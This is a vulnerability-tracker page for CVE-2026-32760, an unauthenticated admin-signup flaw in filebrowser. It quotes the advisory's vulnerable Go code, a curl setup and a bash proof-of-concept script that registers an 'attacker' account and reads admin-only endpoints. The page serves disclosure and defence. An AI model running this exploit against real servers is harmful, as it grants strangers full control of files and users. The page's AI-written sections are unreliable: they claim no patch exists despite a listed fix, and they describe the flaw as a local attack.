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Docker CVE-2026-32760

CRITICAL
Improper Privilege Management (CWE-269)
2026-03-16 https://github.com/filebrowser/filebrowser GHSA-5gg9-5g7w-hm73
9.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access signup endpoint
  2. Exploit
    Register new account with self-registration enabled
  3. Execution
    Receive administrator permissions from default settings
  4. Impact
    Gain full system control

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V8 - Authorization Least privilege enforcement
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Self-registration must be enabled (signup = true) AND default user permissions configured with perm.admin = true. No authentication required. Affects all deployments with these specific settings.

Impact

An attacker with limited access can gain administrative or root privileges, enabling full control over the affected system.

Exploit ScenarioDerived

A local attacker exploits a vulnerability in a privileged service or misconfigured permissions to escalate from a standard user to root/administrator.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 16, 2026

Unauthenticated attackers can register administrator accounts in Docker when self-registration is enabled and default user permissions include admin privileges, as the signup handler fails to strip admin permissions from self-registered accounts. Public exploit code exists for this vulnerability. No patch is currently available.

Earlier versions of this analysis (1)
v1 Mar 16, 2026 - 20:56 CVSS 9.8

RemediationAI

Apply the principle of least privilege. Keep systems patched. Monitor for suspicious privilege changes. Use mandatory access controls (SELinux, AppArmor).

Affected Packages

go github.com/filebrowser/filebrowser no fix
go github.com/filebrowser/filebrowser/v2 fix: 2.62.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Privilege escalation allows a low-privileged user or process to gain elevated permissions beyond what was originally authorized. This vulnerability is classified as Improper Privilege Management (CWE-269).

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

GitHub Advisory PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SUSE CRITICAL

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
PoC Detected
Mar 23, 2026 - 16:54 vuln.today
Public exploit code
CVE Published
Mar 16, 2026 - 20:44 nvd
CRITICAL 9.8

DescriptionGitHub Advisory

Summary

Any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts.

Details

Affected file: http/auth.go

Vulnerable code:

go
// signupHandler (http/auth.go)
user := &users.User{
    Username: info.Username,
}
d.settings.Defaults.Apply(user)   // ← copies Perm.Admin = true if set in defaults
// NO guard: user.Perm.Admin is never cleared here

settings.UserDefaults.Apply (settings/defaults.go):

go
func (d *UserDefaults) Apply(u *users.User) {
    u.Perm = d.Perm   // copies full Permissions struct, including Admin field
    ...
}

Settings API permits Admin in defaults (http/settings.go):

go
var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
    ...
    d.settings.Defaults = req.Defaults  // Admin can set Defaults.Perm.Admin = true
    ...
})

The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.

Demo Server Setup

bash
# Pull latest release
docker run -d --name fb-test \
  -p 8080:80 \
  -v /tmp/fb-data:/srv \
  filebrowser/filebrowser:v2.31.2
# Wait for startup, then set defaults.perm.admin = true
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}')
# Enable signup and set admin as default permission
curl -s -X PUT http://localhost:8080/api/settings \
  -H "X-Auth: $ADMIN_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "signup": true,
    "defaults": {
      "perm": {
        "admin": true,
        "execute": true,
        "create": true,
        "rename": true,
        "modify": true,
        "delete": true,
        "share": true,
        "download": true
      }
    }
  }'

PoC Exploit

bash
#!/bin/bash
# poc_signup_admin.sh
# Demonstrates: unauthenticated signup → admin account

TARGET="http://localhost:8080"

echo "[*] Registering attacker account via public signup endpoint..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "$TARGET/api/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Signup response: HTTP $STATUS"

echo "[*] Logging in as newly created account..."
ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Fetching user list with attacker token (admin-only endpoint)..."
curl -s "$TARGET/api/users" \
  -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

echo ""
echo "[*] Verifying admin access by reading /api/settings..."
curl -s "$TARGET/api/settings" \
  -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.

Impact

Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can:

  • List, read, modify, and delete every file on the server
  • Create, modify, and delete all other users
  • Change authentication method and server settings
  • Execute arbitrary commands if enableExec = true

Executive ViewAI

Why It Matters

An unauthenticated attacker can create a full administrator account on any affected system where self-registration is enabled, granting unrestricted access to all data and system functions. This critical vulnerability bypasses all authentication controls and allows complete compromise of the application without any credentials or prior access.

Business Impact: Severe
Compensating Controls

Disable self-registration functionality (signup = false) in application configuration immediately. Remove perm.admin = true from default user permissions to ensure new accounts cannot inherit administrator rights. If self-registration must remain enabled, implement a WAF rule to block POST requests to signup endpoints from non-whitelisted IP ranges. Apply network segmentation to restrict administrative panel access to specific IP addresses. Enable comprehensive audit logging on all account creation and permission modification events. Conduct daily automated scans of user accounts to detect and alert on unauthorized administrator assignments.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

69
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_filebrowser_filebrowser_v2

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Vendor StatusVendor

SUSE

Severity: Critical
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

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